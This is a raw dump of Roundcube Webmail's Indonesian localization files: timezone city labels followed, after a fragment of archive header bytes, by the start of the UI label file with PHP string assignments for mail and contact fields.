$labels['tz:america:havana'] = 'Havana';
$labels['tz:america:hermosillo'] = 'Hermosillo';
$labels['tz:america:indiana'] = 'Indiana';
$labels['tz:america:indiana:indianapolis'] = 'Indianapolis';
$labels['tz:america:indiana:knox'] = 'Knox';
$labels['tz:america:indiana:marengo'] = 'Marengo';
$labels['tz:america:indiana:petersburg'] = 'Petersburg';
$labels['tz:america:indiana:tell_city'] = 'Tell City';
$labels['tz:america:indiana:vevay'] = 'Vevay';
$labels['tz:america:indiana:vincennes'] = 'Vincennes';
$labels['tz:america:indiana:winamac'] = 'Winamac';
$labels['tz:america:inuvik'] = 'Inuvik';
$labels['tz:america:iqaluit'] = 'Iqaluit';
$labels['tz:america:jamaica'] = 'Jamaika';
$labels['tz:america:juneau'] = 'Juneau';
$labels['tz:america:kentucky'] = 'Kentucky';
$labels['tz:america:kentucky:louisville'] = 'Louisville';
$labels['tz:america:kentucky:monticello'] = 'Monticello';
$labels['tz:america:kralendijk'] = 'Kralendijk';
$labels['tz:america:la_paz'] = 'La Paz';
$labels['tz:america:lima'] = 'Lima';
$labels['tz:america:los_angeles'] = 'Los Angeles';
$labels['tz:america:lower_princes'] = 'Lower Princes';
$labels['tz:america:maceio'] = 'Maceio';
$labels['tz:america:managua'] = 'Managua';
$labels['tz:america:manaus'] = 'Manaus';
$labels['tz:america:marigot'] = 'Marigot';
$labels['tz:america:martinique'] = 'Martinique';
$labels['tz:america:matamoros'] = 'Matamoros';
$labels['tz:america:mazatlan'] = 'Mazatlan';
$labels['tz:america:menominee'] = 'Menominee';
$labels['tz:america:merida'] = 'Merida';
$labels['tz:america:metlakatla'] = 'Metlakatla';
$labels['tz:america:mexico_city'] = 'Mexico City';
$labels['tz:america:miquelon'] = 'Miquelon';
$labels['tz:america:moncton'] = 'Moncton';
$labels['tz:america:monterrey'] = 'Monterrey';
$labels['tz:america:montevideo'] = 'Montevideo';
$labels['tz:america:montserrat'] = 'Montserrat';
$labels['tz:america:nassau'] = 'Nassau';
$labels['tz:america:new_york'] = 'New York';
$labels['tz:america:nipigon'] = 'Nipigon';
$labels['tz:america:nome'] = 'Nome';
$labels['tz:america:noronha'] = 'Noronha';
$labels['tz:america:north_dakota'] = 'North Dakota';
$labels['tz:america:north_dakota:beulah'] = 'Beulah';
$labels['tz:america:north_dakota:center'] = 'Center';
$labels['tz:america:north_dakota:new_salem'] = 'New Salem';
$labels['tz:america:ojinaga'] = 'Ojinaga';
$labels['tz:america:panama'] = 'Panama';
$labels['tz:america:pangnirtung'] = 'Pangnirtung';
$labels['tz:america:paramaribo'] = 'Paramaribo';
$labels['tz:america:phoenix'] = 'Phoenix';
$labels['tz:america:port-au-prince'] = 'Port-au-Prince';
$labels['tz:america:port_of_spain'] = 'Port of Spain';
$labels['tz:america:porto_velho'] = 'Porto Velho';
$labels['tz:america:puerto_rico'] = 'Puerto Rico';
$labels['tz:america:rainy_river'] = 'Rainy River';
$labels['tz:america:rankin_inlet'] = 'Rankin Inlet';
$labels['tz:america:recife'] = 'Recife';
$labels['tz:america:regina'] = 'Regina';
$labels['tz:america:resolute'] = 'Resolute';
$labels['tz:america:rio_branco'] = 'Rio Branco';
$labels['tz:america:santarem'] = 'Santarem';
$labels['tz:america:santiago'] = 'Santiago';
$labels['tz:america:santo_domingo'] = 'Santo Domingo';
$labels['tz:america:sao_paulo'] = 'Sao Paulo';
$labels['tz:america:scoresbysund'] = 'Scoresbysund';
$labels['tz:america:sitka'] = 'Sitka';
$labels['tz:america:st_barthelemy'] = 'Saint Barthélemy';
$labels['tz:america:st_johns'] = "Saint John's";
$labels['tz:america:st_kitts'] = 'Saint Kitts';
$labels['tz:america:st_lucia'] = 'Saint Lucia';
$labels['tz:america:st_thomas'] = 'Saint Thomas';
$labels['tz:america:st_vincent'] = 'Saint Vincent';
$labels['tz:america:swift_current'] = 'Swift Current';
$labels['tz:america:tegucigalpa'] = 'Tegucigalpa';
$labels['tz:america:thule'] = 'Thule';
$labels['tz:america:thunder_bay'] = 'Thunder Bay';
$labels['tz:america:tijuana'] = 'Tijuana';
$labels['tz:america:toronto'] = 'Toronto';
$labels['tz:america:tortola'] = 'Tortola';
$labels['tz:america:vancouver'] = 'Vancouver';
$labels['tz:america:whitehorse'] = 'Whitehorse';
$labels['tz:america:winnipeg'] = 'Winnipeg';
$labels['tz:america:yakutat'] = 'Yakutat';
$labels['tz:america:yellowknife'] = 'Yellowknife';
$labels['tz:antarctica'] = 'Antarktika';
$labels['tz:antarctica:casey'] = 'Casey';
$labels['tz:antarctica:davis'] = 'Davis';
$labels['tz:antarctica:dumontdurville'] = "Dumont d'Urville";
$labels['tz:antarctica:macquarie'] = 'Macquarie';
$labels['tz:antarctica:mawson'] = 'Mawson';
$labels['tz:antarctica:mcmurdo'] = 'McMurdo';
$labels['tz:antarctica:palmer'] = 'Palmer';
$labels['tz:antarctica:rothera'] = 'Rothera';
$labels['tz:antarctica:syowa'] = 'Syowa';
$labels['tz:antarctica:troll'] = 'Troll';
$labels['tz:antarctica:vostok'] = 'Vostok';
$labels['tz:arctic'] = 'Arctic';
$labels['tz:arctic:longyearbyen'] = 'Longyearbyen';
$labels['tz:asia'] = 'Asia';
$labels['tz:asia:aden'] = 'Aden';
$labels['tz:asia:almaty'] = 'Almaty';
$labels['tz:asia:amman'] = 'Amman';
$labels['tz:asia:anadyr'] = 'Anadyr';
$labels['tz:asia:aqtau'] = 'Aqtau';
$labels['tz:asia:aqtobe'] = 'Aqtobe';
$labels['tz:asia:ashgabat'] = 'Ashgabat';
$labels['tz:asia:atyrau'] = 'Atyrau';
$labels['tz:asia:baghdad'] = 'Baghdad';
$labels['tz:asia:bahrain'] = 'Bahrain';
$labels['tz:asia:baku'] = 'Baku';
$labels['tz:asia:bangkok'] = 'Bangkok';
$labels['tz:asia:barnaul'] = 'Barnaul';
$labels['tz:asia:beirut'] = 'Beirut';
$labels['tz:asia:bishkek'] = 'Bishkek';
$labels['tz:asia:brunei'] = 'Brunei';
$labels['tz:asia:chita'] = 'Chita';
$labels['tz:asia:choibalsan'] = 'Choibalsan';
$labels['tz:asia:colombo'] = 'Colombo';
$labels['tz:asia:damascus'] = 'Damaskus';
$labels['tz:asia:dhaka'] = 'Dhaka';
$labels['tz:asia:dili'] = 'Dili';
$labels['tz:asia:dubai'] = 'Dubai';
$labels['tz:asia:dushanbe'] = 'Dushanbe';
$labels['tz:asia:famagusta'] = 'Famagusta';
$labels['tz:asia:gaza'] = 'Gaza';
$labels['tz:asia:hebron'] = 'Hebron';
$labels['tz:asia:ho_chi_minh'] = 'Ho Chi Minh';
$labels['tz:asia:hong_kong'] = 'Hong Kong';
$labels['tz:asia:hovd'] = 'Hovd';
$labels['tz:asia:irkutsk'] = 'Irkutsk';
$labels['tz:asia:jakarta'] = 'Jakarta';
$labels['tz:asia:jayapura'] = 'Jayapura';
$labels['tz:asia:jerusalem'] = 'Yerusalem';
$labels['tz:asia:kabul'] = 'Kabul';
$labels['tz:asia:kamchatka'] = 'Kamchatka';
$labels['tz:asia:karachi'] = 'Karachi';
$labels['tz:asia:kathmandu'] = 'Kathmandu';
$labels['tz:asia:khandyga'] = 'Khandyga';
$labels['tz:asia:kolkata'] = 'Kalkuta';
$labels['tz:asia:krasnoyarsk'] = 'Krasnoyarsk';
$labels['tz:asia:kuala_lumpur'] = 'Kuala Lumpur';
$labels['tz:asia:kuching'] = 'Kuching';
$labels['tz:asia:kuwait'] = 'Kuwait';
$labels['tz:asia:macau'] = 'Makau';
$labels['tz:asia:magadan'] = 'Magadan';
$labels['tz:asia:makassar'] = 'Makassar';
$labels['tz:asia:manila'] = 'Manila';
$labels['tz:asia:muscat'] = 'Muscat';
$labels['tz:asia:nicosia'] = 'Nicosia';
$labels['tz:asia:novokuznetsk'] = 'Novokuznetsk';
$labels['tz:asia:novosibirsk'] = 'Novosibirsk';
$labels['tz:asia:omsk'] = 'Omsk';
$labels['tz:asia:oral'] = 'Oral';
$labels['tz:asia:phnom_penh'] = 'Phnom Penh';
$labels['tz:asia:pontianak'] = 'Pontianak';
$labels['tz:asia:pyongyang'] = 'Pyongyang';
$labels['tz:asia:qatar'] = 'Qatar';
$labels['tz:asia:qyzylorda'] = 'Qyzylorda';
$labels['tz:asia:riyadh'] = 'Riyadh';
$labels['tz:asia:sakhalin'] = 'Sakhalin';
$labels['tz:asia:samarkand'] = 'Samarkand';
$labels['tz:asia:seoul'] = 'Seoul';
$labels['tz:asia:shanghai'] = 'Shanghai';
$labels['tz:asia:singapore'] = 'Singapura';
$labels['tz:asia:srednekolymsk'] = 'Srednekolymsk';
$labels['tz:asia:taipei'] = 'Taipei';
$labels['tz:asia:tashkent'] = 'Tashkent';
$labels['tz:asia:tbilisi'] = 'Tbilisi';
$labels['tz:asia:tehran'] = 'Tehran';
$labels['tz:asia:thimphu'] = 'Thimphu';
$labels['tz:asia:tokyo'] = 'Tokyo';
$labels['tz:asia:tomsk'] = 'Tomsk';
$labels['tz:asia:ulaanbaatar'] = 'Ulaanbaatar';
$labels['tz:asia:urumqi'] = 'Urumqi';
$labels['tz:asia:ust-nera'] = 'Ust-Nera';
$labels['tz:asia:vientiane'] = 'Vientiane';
$labels['tz:asia:vladivostok'] = 'Vladivostok';
$labels['tz:asia:yakutsk'] = 'Yakutsk';
$labels['tz:asia:yangon'] = 'Yangon';
$labels['tz:asia:yekaterinburg'] = 'Yekaterinburg';
$labels['tz:asia:yerevan'] = 'Yerevan';
$labels['tz:atlantic'] = 'Atlantik';
$labels['tz:atlantic:azores'] = 'Azores';
$labels['tz:atlantic:bermuda'] = 'Bermuda';
$labels['tz:atlantic:canary'] = 'Canary';
$labels['tz:atlantic:cape_verde'] = 'Cape Verde';
$labels['tz:atlantic:faroe'] = 'Faroe';
$labels['tz:atlantic:madeira'] = 'Madeira';
$labels['tz:atlantic:reykjavik'] = 'Reykjavik';
$labels['tz:atlantic:south_georgia'] = 'South Georgia';
$labels['tz:atlantic:st_helena'] = 'St Helena';
$labels['tz:atlantic:stanley'] = 'Stanley';
$labels['tz:australia'] = 'Australia';
$labels['tz:australia:adelaide'] = 'Adelaide';
$labels['tz:australia:brisbane'] = 'Brisbane';
$labels['tz:australia:broken_hill'] = 'Broken Hill';
$labels['tz:australia:currie'] = 'Currie';
$labels['tz:australia:darwin'] = 'Darwin';
$labels['tz:australia:eucla'] = 'Eucla';
$labels['tz:australia:hobart'] = 'Hobart';
$labels['tz:australia:lindeman'] = 'Lindeman';
$labels['tz:australia:lord_howe'] = 'Lord Howe';
$labels['tz:australia:melbourne'] = 'Melbourne';
$labels['tz:australia:perth'] = 'Perth';
$labels['tz:australia:sydney'] = 'Sydney';
$labels['tz:europe'] = 'Eropa';
$labels['tz:europe:amsterdam'] = 'Amsterdam';
$labels['tz:europe:andorra'] = 'Andorra';
$labels['tz:europe:astrakhan'] = 'Astrakhan';
$labels['tz:europe:athens'] = 'Athena';
$labels['tz:europe:belgrade'] = 'Belgrade';
$labels['tz:europe:berlin'] = 'Berlin';
$labels['tz:europe:bratislava'] = 'Bratislava';
$labels['tz:europe:brussels'] = 'Brussels';
$labels['tz:europe:bucharest'] = 'Bucharest';
$labels['tz:europe:budapest'] = 'Budapest';
$labels['tz:europe:busingen'] = 'Busingen';
$labels['tz:europe:chisinau'] = 'Chisinau';
$labels['tz:europe:copenhagen'] = 'Copenhagen';
$labels['tz:europe:dublin'] = 'Dublin';
$labels['tz:europe:gibraltar'] = 'Gibraltar';
$labels['tz:europe:guernsey'] = 'Guernsey';
$labels['tz:europe:helsinki'] = 'Helsinki';
$labels['tz:europe:isle_of_man'] = 'Isle of Man';
$labels['tz:europe:istanbul'] = 'Istanbul';
$labels['tz:europe:jersey'] = 'Jersey';
$labels['tz:europe:kaliningrad'] = 'Kaliningrad';
$labels['tz:europe:kiev'] = 'Kiev';
$labels['tz:europe:kirov'] = 'Kirov';
$labels['tz:europe:lisbon'] = 'Lisbon';
$labels['tz:europe:ljubljana'] = 'Ljubljana';
$labels['tz:europe:london'] = 'London';
$labels['tz:europe:luxembourg'] = 'Luxembourg';
$labels['tz:europe:madrid'] = 'Madrid';
$labels['tz:europe:malta'] = 'Malta';
$labels['tz:europe:mariehamn'] = 'Mariehamn';
$labels['tz:europe:minsk'] = 'Minsk';
$labels['tz:europe:monaco'] = 'Monako';
$labels['tz:europe:moscow'] = 'Moscow';
$labels['tz:europe:oslo'] = 'Oslo';
$labels['tz:europe:paris'] = 'Paris';
$labels['tz:europe:podgorica'] = 'Podgorica';
$labels['tz:europe:prague'] = 'Prague';
$labels['tz:europe:riga'] = 'Riga';
$labels['tz:europe:rome'] = 'Rome';
$labels['tz:europe:samara'] = 'Samara';
$labels['tz:europe:san_marino'] = 'San Marino';
$labels['tz:europe:sarajevo'] = 'Sarajevo';
$labels['tz:europe:saratov'] = 'Saratov';
$labels['tz:europe:simferopol'] = 'Simferopol';
$labels['tz:europe:skopje'] = 'Skopje';
$labels['tz:europe:sofia'] = 'Sofia';
$labels['tz:europe:stockholm'] = 'Stockholm';
$labels['tz:europe:tallinn'] = 'Tallinn';
$labels['tz:europe:tirane'] = 'Tirane';
$labels['tz:europe:ulyanovsk'] = 'Ulyanovsk';
$labels['tz:europe:uzhgorod'] = 'Uzhgorod';
$labels['tz:europe:vaduz'] = 'Vaduz';
$labels['tz:europe:vatican'] = 'Vatican';
$labels['tz:europe:vienna'] = 'Vienna';
$labels['tz:europe:vilnius'] = 'Vilnius';
$labels['tz:europe:volgograd'] = 'Volgograd';
$labels['tz:europe:warsaw'] = 'Warsawa';
$labels['tz:europe:zagreb'] = 'Zagreb';
$labels['tz:europe:zaporozhye'] = 'Zaporozhye';
$labels['tz:europe:zurich'] = 'Zurich';
$labels['tz:indian'] = 'Indian';
$labels['tz:indian:antananarivo'] = 'Antananarivo';
$labels['tz:indian:chagos'] = 'Chagos';
$labels['tz:indian:christmas'] = 'Christmas';
$labels['tz:indian:cocos'] = 'Cocos';
$labels['tz:indian:comoro'] = 'Comoro';
$labels['tz:indian:kerguelen'] = 'Kerguelen';
$labels['tz:indian:mahe'] = 'Mahe';
$labels['tz:indian:maldives'] = 'Maldives';
$labels['tz:indian:mauritius'] = 'Mauritius';
$labels['tz:indian:mayotte'] = 'Mayotte';
$labels['tz:indian:reunion'] = 'Reunion';
$labels['tz:pacific'] = 'Pacific';
$labels['tz:pacific:apia'] = 'Apia';
$labels['tz:pacific:auckland'] = 'Auckland';
$labels['tz:pacific:bougainville'] = 'Bougainville';
$labels['tz:pacific:chatham'] = 'Chatham';
$labels['tz:pacific:chuuk'] = 'Chuuk';
$labels['tz:pacific:easter'] = 'Easter';
$labels['tz:pacific:efate'] = 'Efate';
$labels['tz:pacific:enderbury'] = 'Enderbury';
$labels['tz:pacific:fakaofo'] = 'Fakaofo';
$labels['tz:pacific:fiji'] = 'Fiji';
$labels['tz:pacific:funafuti'] = 'Funafuti';
$labels['tz:pacific:galapagos'] = 'Galapagos';
$labels['tz:pacific:gambier'] = 'Gambier';
$labels['tz:pacific:guadalcanal'] = 'Guadalcanal';
$labels['tz:pacific:guam'] = 'Guam';
$labels['tz:pacific:honolulu'] = 'Honolulu';
$labels['tz:pacific:johnston'] = 'Johnston';
$labels['tz:pacific:kiritimati'] = 'Kiritimati';
$labels['tz:pacific:kosrae'] = 'Kosrae';
$labels['tz:pacific:kwajalein'] = 'Kwajalein';
$labels['tz:pacific:majuro'] = 'Majuro';
$labels['tz:pacific:marquesas'] = 'Marquesas';
$labels['tz:pacific:midway'] = 'Midway';
$labels['tz:pacific:nauru'] = 'Nauru';
$labels['tz:pacific:niue'] = 'Niue';
$labels['tz:pacific:norfolk'] = 'Norfolk';
$labels['tz:pacific:noumea'] = 'Noumea';
$labels['tz:pacific:pago_pago'] = 'Pago Pago';
$labels['tz:pacific:palau'] = 'Palau';
$labels['tz:pacific:pitcairn'] = 'Pitcairn';
$labels['tz:pacific:pohnpei'] = 'Pohnpei';
$labels['tz:pacific:port_moresby'] = 'Port Moresby';
$labels['tz:pacific:rarotonga'] = 'Rarotonga';
$labels['tz:pacific:saipan'] = 'Saipan';
$labels['tz:pacific:tahiti'] = 'Tahiti';
$labels['tz:pacific:tarawa'] = 'Tarawa';
$labels['tz:pacific:tongatapu'] = 'Tongatapu';
$labels['tz:pacific:wake'] = 'Wake';
$labels['tz:pacific:wallis'] = 'Wallis';
PK
h�\�Rj�l�l%program/localization/id_ID/labels.incnu�[���<?php

/*
 +-----------------------------------------------------------------------+
 | Localization file of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 +-----------------------------------------------------------------------+

 For translation see https://www.transifex.com/projects/p/roundcube-webmail/resource/labels/
*/


$labels['welcome'] = 'Selamat datang di $product';
$labels['username'] = 'Username';
$labels['password'] = 'Password';
$labels['server'] = 'Server';
$labels['login'] = 'Masuk';
$labels['menu'] = 'Menu';
$labels['logout'] = 'Keluar';
$labels['mail'] = 'E-Mail';
$labels['settings'] = 'Pengaturan';
$labels['addressbook'] = 'Buku Alamat';
$labels['inbox'] = 'Kotak Masuk';
$labels['drafts'] = 'Konsep';
$labels['sent'] = 'Terkirim';
$labels['trash'] = 'Surat Terhapus';
$labels['junk'] = 'Sampah';
$labels['show_real_foldernames'] = 'Tampilkan nama asli untuk folder spesial';
$labels['subject'] = 'Judul';
$labels['from'] = 'Pengirim';
$labels['sender'] = 'Pengirim';
$labels['to'] = 'Penerima';
$labels['cc'] = 'Lampiran';
$labels['bcc'] = 'Lampiran tersembunyi';
$labels['replyto'] = 'Balas kepada';
$labels['followupto'] = 'Surat Tindak Lanjut Untuk';
$labels['date'] = 'Tanggal';
$labels['size'] = 'Ukuran';
$labels['priority'] = 'Prioritas';
$labels['organization'] = 'Organisasi';
$labels['readstatus'] = 'Status Terbaca';
$labels['listoptions'] = 'Daftar Pilihan...';
$labels['mailboxlist'] = 'Semua Folder';
$labels['messagesfromto'] = 'Pesan dari $from sampai $to dari total $count';
$labels['threadsfromto'] = 'Untaian dari $from sampai $to dari total $count';
$labels['messagenrof'] = 'Pesan $nr dari total $count';
$labels['fromtoshort'] = '$from - $to dari total $count';
$labels['copy'] = 'Salin';
$labels['move'] = 'Pindahkan';
$labels['moveto'] = 'Pindahkan ke...';
$labels['copyto'] = 'Salin ke...';
$labels['download'] = 'Unduh';
$labels['open'] = 'Buka';
$labels['showattachment'] = 'Tampilkan';
$labels['showanyway'] = 'Tampilkan saja';
$labels['filename'] = 'Nama berkas';
$labels['filesize'] = 'Ukuran berkas';
$labels['addtoaddressbook'] = 'Tambah ke buku alamat';
$labels['sun'] = 'Min';
$labels['mon'] = 'Sen';
$labels['tue'] = 'Sel';
$labels['wed'] = 'Rab';
$labels['thu'] = 'Kam';
$labels['fri'] = 'Jum';
$labels['sat'] = 'Sab';
$labels['sunday'] = 'Minggu';
$labels['monday'] = 'Senin';
$labels['tuesday'] = 'Selasa';
$labels['wednesday'] = 'Rabu';
$labels['thursday'] = 'Kamis';
$labels['friday'] = 'Jumat';
$labels['saturday'] = 'Sabtu';
$labels['jan'] = 'Jan';
$labels['feb'] = 'Feb';
$labels['mar'] = 'Mar';
$labels['apr'] = 'Apr';
$labels['may'] = 'Mei';
$labels['jun'] = 'Jun';
$labels['jul'] = 'Jul';
$labels['aug'] = 'Ags';
$labels['sep'] = 'Sep';
$labels['oct'] = 'Okt';
$labels['nov'] = 'Nov';
$labels['dec'] = 'Des';
$labels['longjan'] = 'Januari';
$labels['longfeb'] = 'Februari';
$labels['longmar'] = 'Maret';
$labels['longapr'] = 'April';
$labels['longmay'] = 'Mei';
$labels['longjun'] = 'Juni';
$labels['longjul'] = 'Juli';
$labels['longaug'] = 'Agustus';
$labels['longsep'] = 'Spetember';
$labels['longoct'] = 'Oktober';
$labels['longnov'] = 'November';
$labels['longdec'] = 'Desember';
$labels['today'] = 'Hari ini';
$labels['refresh'] = 'Segarkan';
$labels['checkmail'] = 'Periksa pesan baru';
$labels['compose'] = 'Tulis sebuah pesan';
$labels['writenewmessage'] = 'Buat pesan baru';
$labels['reply'] = 'Balas';
$labels['replytomessage'] = 'Balas ke pengirim';
$labels['replytoallmessage'] = 'Balas ke pengirim dan yang lain';
$labels['replyall'] = 'Balas ke semua';
$labels['replylist'] = 'Balas ke milis';
$labels['forward'] = 'Teruskan';
$labels['forwardinline'] = 'Teruskan bersama surat';
$labels['forwardattachment'] = 'Teruskan sebagai sisipan';
$labels['forwardmessage'] = 'Teruskan pesan';
$labels['deletemessage'] = 'Hapus pesan';
$labels['movemessagetotrash'] = 'Pindahkan pesan ke tong sampah';
$labels['printmessage'] = 'Cetak pesan ini';
$labels['previousmessage'] = 'Perlihatkan pesan sebelumnya';
$labels['firstmessage'] = 'Perlihatkan pesan pertama';
$labels['nextmessage'] = 'Perlihatkan pesan berikutnya';
$labels['lastmessage'] = 'Perlihatkan pesan terakhir';
$labels['backtolist'] = 'Kembali ke daftar pesan';
$labels['viewsource'] = 'Perlihatkan kode sumber';
$labels['mark'] = 'Tandai';
$labels['markmessages'] = 'Tandai Pesan';
$labels['markread'] = 'Terbaca';
$labels['markunread'] = 'Belum Terbaca';
$labels['markflagged'] = 'Sudah ditandai';
$labels['markunflagged'] = 'Belum ditandai';
$labels['moreactions'] = 'Tindakan lain..';
$labels['markallread'] = 'Tandai semua telah dibaca';
$labels['folders-cur'] = 'Hanya pilih folder';
$labels['folders-sub'] = 'Pilih folder dan subfoldernya';
$labels['folders-all'] = 'Semua folder';
$labels['more'] = 'Berikutnya';
$labels['back'] = 'Kembali';
$labels['options'] = 'Pilihan';
$labels['actions'] = 'Tindakan';
$labels['first'] = 'Pertama';
$labels['last'] = 'Terakhir';
$labels['previous'] = 'Sebelumnya';
$labels['next'] = 'Selanjutnya';
$labels['select'] = 'Pilih';
$labels['all'] = 'Semua';
$labels['none'] = 'Tidak ada';
$labels['currpage'] = 'Halaman sekarang';
$labels['isread'] = 'Baca';
$labels['unread'] = 'Belum terbaca';
$labels['flagged'] = 'Ditandai';
$labels['unflagged'] = 'Tidak ditandai';
$labels['unanswered'] = 'Belum terjawab';
$labels['withattachment'] = 'Dengan lampiran';
$labels['deleted'] = 'Terhapus';
$labels['undeleted'] = 'Tidak terhapus';
$labels['replied'] = 'Sudah dibalas';
$labels['forwarded'] = 'Diteruskan';
$labels['invert'] = 'Sebaliknya';
$labels['filter'] = 'Penyaringan';
$labels['list'] = 'Daftar';
$labels['threads'] = 'Untaian';
$labels['expand-all'] = 'Bentangkan Semua';
$labels['expand-unread'] = 'Bentangkan yang Belum Terbaca';
$labels['collapse-all'] = 'Lipat Semua';
$labels['threaded'] = 'Teruntai';
$labels['autoexpand_threads'] = 'Bentangkan pesan teruntai';
$labels['do_expand'] = 'semua untaian';
$labels['expand_only_unread'] = 'hanya pesan yang belum terbaca';
$labels['fromto'] = 'Pengirim/Penerima';
$labels['flag'] = 'Bendera';
$labels['attachment'] = 'Lampiran';
$labels['nonesort'] = 'Tidak ada';
$labels['sentdate'] = 'Tanggal kirim';
$labels['arrival'] = 'Tanggal masuk';
$labels['asc'] = 'menaik';
$labels['desc'] = 'menurun';
$labels['listcolumns'] = 'Perlihatkan kolom';
$labels['listsorting'] = 'Mengurutkan kolom';
$labels['listorder'] = 'Mengurutkan susunan';
$labels['listmode'] = 'Perlihatkan mode tinjauan';
$labels['layout'] = 'Tata Letak';
$labels['layoutwidescreen'] = 'Layar Lebar';
$labels['layoutdesktop'] = 'Desktop';
$labels['layoutlist'] = 'Daftar';
$labels['folderactions'] = 'Tindakan pada folder...';
$labels['compact'] = 'Rampingkan';
$labels['empty'] = 'Kosong';
$labels['importmessages'] = 'Impor pesan';
$labels['quota'] = 'Penggunaan ruang';
$labels['unknown'] = 'Tidak dikenal';
$labels['unlimited'] = 'Tidak terbatas';
$labels['quotatype'] = 'Tipe kuota';
$labels['quotatotal'] = 'Batas';
$labels['quotaused'] = 'Dipakai';
$labels['quotastorage'] = 'Ruang disk';
$labels['quotamessage'] = 'Cacah pesan';
$labels['quicksearch'] = 'Pencarian cepat';
$labels['resetsearch'] = 'Atur ulang pencarian';
$labels['searchmod'] = 'Peubah pencarian';
$labels['msgtext'] = 'Seluruh pesan';
$labels['body'] = 'Badan';
$labels['type'] = 'Tipe';
$labels['namex'] = 'Nama';
$labels['searchscope'] = 'Jangkauan';
$labels['currentfolder'] = 'Folder sekarang';
$labels['subfolders'] = 'Ini adalah subfolder';
$labels['allfolders'] = 'Semua folder';
$labels['searchinterval-1W'] = 'lebih dari seminggu';
$labels['searchinterval-1M'] = 'lebih dari sebulan';
$labels['searchinterval-1Y'] = 'lebih dari setahun';
$labels['searchinterval1W'] = 'kurang dari seminggu';
$labels['searchinterval1M'] = 'kurang dari sebulan';
$labels['searchinterval1Y'] = 'kurang dari setahun';
$labels['openinextwin'] = 'Buka dalam jendela baru';
$labels['emlsave'] = 'Unduh (.eml)';
$labels['changeformattext'] = 'Tampilkan dalam format text biasa';
$labels['changeformathtml'] = 'Tampilkan dalam format HTML';
$labels['editasnew'] = 'Sunting sebagai pesan baru';
$labels['send'] = 'Kirim';
$labels['sendmessage'] = 'Kirim pesan';
$labels['savemessage'] = 'Simpan sebagai konsep';
$labels['addattachment'] = 'Sisipkan sebuah berkas';
$labels['charset'] = 'Set karakter';
$labels['editortype'] = 'Tipe penyunting';
$labels['returnreceipt'] = 'Tanda terima kembali';
$labels['dsn'] = 'Pemberitahuan status terkirim';
$labels['mailreplyintro'] = 'Pada $date, $sender menulis:';
$labels['originalmessage'] = 'Pesan Asli';
$labels['selectimage'] = 'Pilih gambar';
$labels['addimage'] = 'Tambah gambar';
$labels['selectmedia'] = 'Pilih film';
$labels['addmedia'] = 'Tambah film';
$labels['encrypt'] = 'Enkripsi';
$labels['encryptmessage'] = 'Enkripsi pesan';
$labels['encryptmessagemailvelope'] = 'Enkripsi pesan dengan Mailvelope';
$labels['importpubkeys'] = 'Impor kunci publik';
$labels['encryptedsendialog'] = 'Mengirim pesan terenkripsi';
$labels['keyid'] = 'ID Kunci';
$labels['keylength'] = 'Bit';
$labels['keyexpired'] = 'Kedaluarsa';
$labels['keyrevoked'] = 'Dicabut';
$labels['bccinstead'] = 'Gunakan Bcc';
$labels['insert'] = 'Sisipkan';
$labels['recipient'] = 'Penerima';
$labels['editidents'] = 'Ubah identitas';
$labels['spellcheck'] = 'Ejaan';
$labels['checkspelling'] = 'Pemeriksaan ejaan';
$labels['resumeediting'] = 'Lanjutkan menyunting';
$labels['revertto'] = 'Kembalikan ke';
$labels['restore'] = 'Kembalikan';
$labels['restoremessage'] = 'Kembalikan pesan ?';
$labels['ignore'] = 'Abaikan';
$labels['responses'] = 'Respon';
$labels['insertresponse'] = 'Masukkan respon';
$labels['manageresponses'] = 'Atur respon';
$labels['newresponse'] = 'Buat respon baru';
$labels['addresponse'] = 'Tambah respon';
$labels['editresponse'] = 'Ubah respon';
$labels['editresponses'] = 'Ubah respon';
$labels['responsename'] = 'Nama';
$labels['responsetext'] = 'Teks Respon';
$labels['attach'] = 'Lampirkan';
$labels['attachments'] = 'Sisipan';
$labels['upload'] = 'Unggah';
$labels['uploadprogress'] = '$percent ($current dari $total)';
$labels['close'] = 'Tutup';
$labels['messageoptions'] = 'Pilihan pesan...';
$labels['togglecomposeoptions'] = 'Jungkitkan opsi penyusunan';
$labels['attachmentrename'] = 'Ubah nama lampiran';
$labels['low'] = 'Rendah';
$labels['lowest'] = 'Paling Rendah';
$labels['normal'] = 'Normal';
$labels['high'] = 'Tinggi';
$labels['highest'] = 'Paling tinggi';
$labels['nosubject'] = '(tanpa judul)';
$labels['showimages'] = 'Tampilkan gambar';
$labels['alwaysshow'] = 'Selalu tampilkan gambar dari $sender';
$labels['isdraft'] = 'Ini adalah konsep surat.';
$labels['andnmore'] = '$nr lagi...';
$labels['togglemoreheaders'] = 'Tampilkan kepala pesan lebih lanjut';
$labels['togglefullheaders'] = 'Beralih kepala pesan penuh';
$labels['htmltoggle'] = 'HTML';
$labels['plaintoggle'] = 'Teks murni';
$labels['savesentmessagein'] = 'Simpan pesan terkirim di';
$labels['dontsave'] = 'Jangan disimpan';
$labels['maxuploadsize'] = 'Ukuran file maksimal adalah $size';
$labels['addcc'] = 'Tambah Cc';
$labels['addbcc'] = 'Tambah Bcc';
$labels['addreplyto'] = 'Tambah Balas Ke';
$labels['addfollowupto'] = 'Tambahkan Tindak-Lanjut-Ke';
$labels['mdnrequest'] = 'Pengirim pesan ini telah meminta untuk diberitahu ketika Anda membaca pesan ini. Apakah anda ingin memberitahu pengirim?';
$labels['receiptread'] = 'Tanda Terima (baca)';
$labels['yourmessage'] = 'Ini adalah Tanda Terima untuk pesan Anda';
$labels['receiptnote'] = 'Catatan: Tanda Terima ini hanya mengesahkan bahwa pesan telah diperlihatkan pada komputer penerima. Tidak ada jaminan bahwa penerima telah membaca atau mengerti isi pesan.';
$labels['name'] = 'Nama yang ditampilkan';
$labels['firstname'] = 'Nama depan';
$labels['surname'] = 'Nama belakang';
$labels['middlename'] = 'Nama tengah';
$labels['nameprefix'] = 'awalan';
$labels['namesuffix'] = 'sisipan';
$labels['nickname'] = 'nama panggilan';
$labels['jobtitle'] = 'Jabatan';
$labels['department'] = 'Departemen';
$labels['gender'] = 'Jenis kelamin';
$labels['maidenname'] = 'Nama asli';
$labels['email'] = 'E-Mail';
$labels['phone'] = 'Telepon';
$labels['address'] = 'Alamat';
$labels['street'] = 'Jalan';
$labels['locality'] = 'Kota';
$labels['zipcode'] = 'Kode pos';
$labels['region'] = 'Provinsi';
